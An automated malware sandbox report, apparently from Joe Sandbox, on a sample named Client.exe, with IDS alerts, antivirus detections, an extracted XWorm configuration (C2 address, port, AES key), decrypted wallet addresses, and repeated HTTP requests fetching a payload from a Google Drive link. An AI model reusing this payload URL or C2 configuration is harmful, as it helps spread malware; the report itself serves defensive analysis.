Severity:	1
Source Port:	49773
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:38.404810+0200
SID:	2044887
Severity:	1
Source Port:	49775
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:34.676082+0200
SID:	2044887
Severity:	1
Source Port:	49758
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Client.exe	Avira: detected
Source: Client.exe	Avira: detected
Source: Client.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/SSLLibrary.dll

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\ProgramData\Synaptics\RCXEF1B.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCXEF1B.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\AppData\Roaming\XClient.exe	Avira: detection malicious, Label: HEUR/AGEN.1305769
Source: C:\Users\user\Desktop\._cache_Client.exe	Avira: detection malicious, Label: HEUR/AGEN.1305769
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: HEUR/AGEN.1305769
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\Documents\IPKGELNTQY\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\IPKGELNTQY\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

Found malware configuration

Source: 0000000F.00000002.1895006918.00000000024E1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["192.168.1.195"], "Port": "2404", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.2"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\RCXEF1B.tmp	ReversingLabs: Detection: 100%
Source: C:\ProgramData\Synaptics\Synaptics.exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\AppData\Roaming\XClient.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\Desktop\._cache_Client.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\Documents\IPKGELNTQY\~$cache1	ReversingLabs: Detection: 100%

Multi AV Scanner detection for submitted file

Source: Client.exe

ReversingLabs: Detection: 92%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\Synaptics\RCXEF1B.tmp	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\XClient.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\._cache_Client.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\IPKGELNTQY\~$cache1	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Client.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.3.Client.exe.5e08c0.0.raw.unpack	String decryptor: 192.168.1.195
Source: 0.3.Client.exe.5e08c0.0.raw.unpack	String decryptor: 2404
Source: 0.3.Client.exe.5e08c0.0.raw.unpack	String decryptor: <123456789>
Source: 0.3.Client.exe.5e08c0.0.raw.unpack	String decryptor: <Xwormmm>
Source: 0.3.Client.exe.5e08c0.0.raw.unpack	String decryptor: XWorm V5.2
Source: 0.3.Client.exe.5e08c0.0.raw.unpack	String decryptor: USB.exe
Source: 0.3.Client.exe.5e08c0.0.raw.unpack	String decryptor: %AppData%
Source: 0.3.Client.exe.5e08c0.0.raw.unpack	String decryptor: XClient.exe
Source: 0.3.Client.exe.5e08c0.0.raw.unpack	String decryptor: bc1q0905g0cjf62fephu7247vv584jhgk8z2nn3qvc
Source: 0.3.Client.exe.5e08c0.0.raw.unpack	String decryptor: 0xe77F7F40cd8af1beB1Fa89AD9d1B379F687eCaa4

Source: Client.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.129:443 -> 192.168.2.8:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.67:443 -> 192.168.2.8:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.67:443 -> 192.168.2.8:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.67:443 -> 192.168.2.8:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.67:443 -> 192.168.2.8:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.67:443 -> 192.168.2.8:49933 version: TLS 1.2

Source: Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: Client.exe	Binary or memory string: [autorun]
Source: Client.exe	Binary or memory string: [autorun]
Source: Client.exe	Binary or memory string: autorun.inf
Source: RCXEF1B.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXEF1B.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXEF1B.tmp.0.dr	Binary or memory string: autorun.inf
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: autorun.inf
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\Client.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 2MB later: 67MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.8:49713 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49710 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49723 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49731 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49728 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49721 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49711 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49718 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49739 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49741 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49750 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49757 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49765 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49758 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49782 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49761 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49775 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49743 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49769 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49773 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49779 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49749 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49767 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49762 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49738 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49780 -> 216.58.206.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.8:49717 -> 216.58.206.46:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 192.168.1.195

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Yara detected Generic Downloader

Source: Yara match

File source: 0.0.Client.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE

Source: Joe Sandbox View	IP Address: 13.107.253.67 13.107.253.67
Source: Joe Sandbox View	IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View

ASN Name: AWKNET-LLCUS AWKNET-LLCUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
